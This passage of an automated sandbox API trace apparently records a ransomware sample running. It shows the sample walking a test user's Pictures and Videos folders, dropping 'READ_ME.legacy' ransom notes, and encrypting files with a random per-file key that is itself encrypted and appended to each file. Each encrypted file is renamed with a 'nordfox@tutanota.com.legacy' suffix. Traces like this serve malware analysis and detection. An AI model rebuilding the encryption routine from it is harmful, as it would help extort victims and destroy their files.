RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0118.451] FindNextFileW (in: hFindFile=0x567118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d391c6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3d391c6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3d391c6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0118.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0118.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0118.452] GetLastError () returned 0x0 [0118.452] SetLastError (dwErrCode=0x0) [0118.452] GetLastError () returned 0x0 [0118.452] SetLastError (dwErrCode=0x0) [0118.452] GetLastError () returned 0x0 [0118.452] SetLastError (dwErrCode=0x0) [0118.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.452] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.452] FindNextFileW (in: hFindFile=0x567118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d391c6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3d391c6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3d391c6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0118.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0118.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0118.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.452] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0118.452] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.452] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0118.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0118.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0118.453] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8 [0118.454] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=190) returned 1 [0118.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbe) returned 0x5e8a48 [0118.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbe) returned 0x5e8d68 [0118.454] ReadFile (in: hFile=0x6c8, lpBuffer=0x5e8a48, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8a48*, lpNumberOfBytesRead=0x2e1f9bc*=0xbe, lpOverlapped=0x0) returned 1 [0118.456] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=-190, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.457] WriteFile (in: hFile=0x6c8, lpBuffer=0x5e8d68*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbe, lpOverlapped=0x0) returned 1 [0118.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0118.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0118.457] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbe [0118.457] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.457] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.471] WriteFile (in: hFile=0x6c8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.471] WriteFile (in: hFile=0x6c8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.471] CloseHandle (hObject=0x6c8) returned 1 [0118.471] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0118.471] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.471] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0118.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0118.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0118.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0118.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0118.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.475] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9d30160, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x4db043d0, ftLastAccessTime.dwHighDateTime=0x1d4d470, ftLastWriteTime.dwLowDateTime=0xd44a6b63, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566f98 [0118.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0118.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0118.475] GetLastError () returned 0x0 [0118.475] SetLastError (dwErrCode=0x0) [0118.475] GetLastError () returned 0x0 [0118.476] SetLastError (dwErrCode=0x0) [0118.476] GetLastError () returned 0x0 [0118.476] SetLastError (dwErrCode=0x0) [0118.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0118.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0118.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0118.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567018 [0118.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567018 | out: hHeap=0x520000) returned 1 [0118.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0118.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0118.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0118.476] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9d30160, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x4db043d0, ftLastAccessTime.dwHighDateTime=0x1d4d470, ftLastWriteTime.dwLowDateTime=0xd44a6b63, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0118.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.477] SetLastError (dwErrCode=0x0) [0118.477] GetLastError () returned 0x0 [0118.477] SetLastError (dwErrCode=0x0) [0118.477] GetLastError () returned 0x0 [0118.477] SetLastError (dwErrCode=0x0) [0118.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0118.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566b98 [0118.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0118.477] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e2e40, ftCreationTime.dwHighDateTime=0x1d4cc24, ftLastAccessTime.dwLowDateTime=0xed8c7490, ftLastAccessTime.dwHighDateTime=0x1d4c8c3, ftLastWriteTime.dwLowDateTime=0xed8c7490, ftLastWriteTime.dwHighDateTime=0x1d4c8c3, nFileSizeHigh=0x0, nFileSizeLow=0x168ee, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="3ryGZ7L.mp4", cAlternateFileName="")) returned 1 [0118.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0118.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.478] SetLastError (dwErrCode=0x0) [0118.478] GetLastError () returned 0x0 [0118.478] SetLastError (dwErrCode=0x0) [0118.478] GetLastError () returned 0x0 [0118.478] SetLastError (dwErrCode=0x0) [0118.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0118.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0118.478] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35183550, ftCreationTime.dwHighDateTime=0x1d4d207, ftLastAccessTime.dwLowDateTime=0xa6e36170, ftLastAccessTime.dwHighDateTime=0x1d4d1f1, ftLastWriteTime.dwLowDateTime=0xa6e36170, ftLastWriteTime.dwHighDateTime=0x1d4d1f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="mlex1y-6OlsYQmwrNAN", cAlternateFileName="MLEX1Y~1")) returned 1 [0118.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0118.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.478] SetLastError (dwErrCode=0x0) [0118.478] GetLastError () returned 0x0 [0118.478] SetLastError (dwErrCode=0x0) [0118.479] GetLastError () returned 0x0 [0118.479] SetLastError (dwErrCode=0x0) [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.479] SetLastError (dwErrCode=0x0) [0118.479] GetLastError () returned 0x0 [0118.479] SetLastError (dwErrCode=0x0) [0118.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0118.480] SetLastError (dwErrCode=0x0) [0118.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e8310 [0118.480] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0118.481] WriteFile (in: hFile=0x6cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.482] CloseHandle (hObject=0x6cc) returned 1 [0118.482] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12c30080, ftCreationTime.dwHighDateTime=0x1d4cc70, ftLastAccessTime.dwLowDateTime=0xbd515950, ftLastAccessTime.dwHighDateTime=0x1d4d370, ftLastWriteTime.dwLowDateTime=0xbd515950, ftLastWriteTime.dwHighDateTime=0x1d4d370, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MljGq6d-bw", cAlternateFileName="MLJGQ6~1")) returned 1 [0118.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0118.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.482] SetLastError (dwErrCode=0x0) [0118.483] GetLastError () returned 0x0 [0118.483] SetLastError (dwErrCode=0x0) [0118.483] GetLastError () returned 0x0 [0118.483] SetLastError (dwErrCode=0x0) [0118.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0118.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0118.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0118.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0118.484] SetLastError (dwErrCode=0x0) [0118.484] GetLastError () returned 0x0 [0118.484] SetLastError (dwErrCode=0x0) [0118.484] GetLastError () returned 0x0 [0118.485] SetLastError (dwErrCode=0x0) [0118.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.485] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0118.544] WriteFile (in: hFile=0x6cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.545] CloseHandle (hObject=0x6cc) returned 1 [0118.545] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd44a6b63, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd44a6b63, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd44a6b63, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0118.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] GetLastError () returned 0x0 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] GetLastError () returned 0x0 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c6e6490, ftCreationTime.dwHighDateTime=0x1d4cc72, ftLastAccessTime.dwLowDateTime=0x4cc95d70, ftLastAccessTime.dwHighDateTime=0x1d4d016, ftLastWriteTime.dwLowDateTime=0x4cc95d70, ftLastWriteTime.dwHighDateTime=0x1d4d016, nFileSizeHigh=0x0, nFileSizeLow=0xf987, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Uckehz.avi", cAlternateFileName="")) returned 1 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] GetLastError () returned 0x0 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] GetLastError () returned 0x0 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f9c5e0, ftCreationTime.dwHighDateTime=0x1d4cdcb, ftLastAccessTime.dwLowDateTime=0x1a5f4c0, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0x1a5f4c0, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x14cb7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Z3zyHkdy44dT.swf", cAlternateFileName="Z3ZYHK~1.SWF")) returned 1 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] GetLastError () returned 0x0 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] GetLastError () returned 0x0 [0118.546] SetLastError (dwErrCode=0x0) [0118.546] FindNextFileW (in: hFindFile=0x566f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f9c5e0, ftCreationTime.dwHighDateTime=0x1d4cdcb, ftLastAccessTime.dwLowDateTime=0x1a5f4c0, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0x1a5f4c0, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x14cb7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Z3zyHkdy44dT.swf", cAlternateFileName="Z3ZYHK~1.SWF")) returned 0 [0118.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0118.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0118.546] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Z3zyHkdy44dT.swf", dwFileAttributes=0x80) returned 1 [0118.547] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Z3zyHkdy44dT.swf" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\z3zyhkdy44dt.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0118.547] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=85175) returned 1 [0118.548] ReadFile (in: hFile=0x6cc, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x14cb7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x14cb7, lpOverlapped=0x0) returned 1 [0118.552] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-85175, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.552] WriteFile (in: hFile=0x6cc, lpBuffer=0x2e56bf0*, nNumberOfBytesToWrite=0x14cb7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e56bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14cb7, lpOverlapped=0x0) returned 1 [0118.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e56bf0 | out: hHeap=0x520000) returned 1 [0118.554] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14cb7 [0118.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.555] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.555] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.555] CloseHandle (hObject=0x6cc) returned 1 [0118.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0118.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0118.555] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Z3zyHkdy44dT.swf" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\z3zyhkdy44dt.swf"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Z3zyHkdy44dT.swf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\z3zyhkdy44dt.swf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b148 | out: hHeap=0x520000) returned 1 [0118.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0118.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0118.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0118.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0118.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0118.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.558] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Uckehz.avi", dwFileAttributes=0x80) returned 1 [0118.558] RtlAllocateHeap (HeapHandle=0x520000, 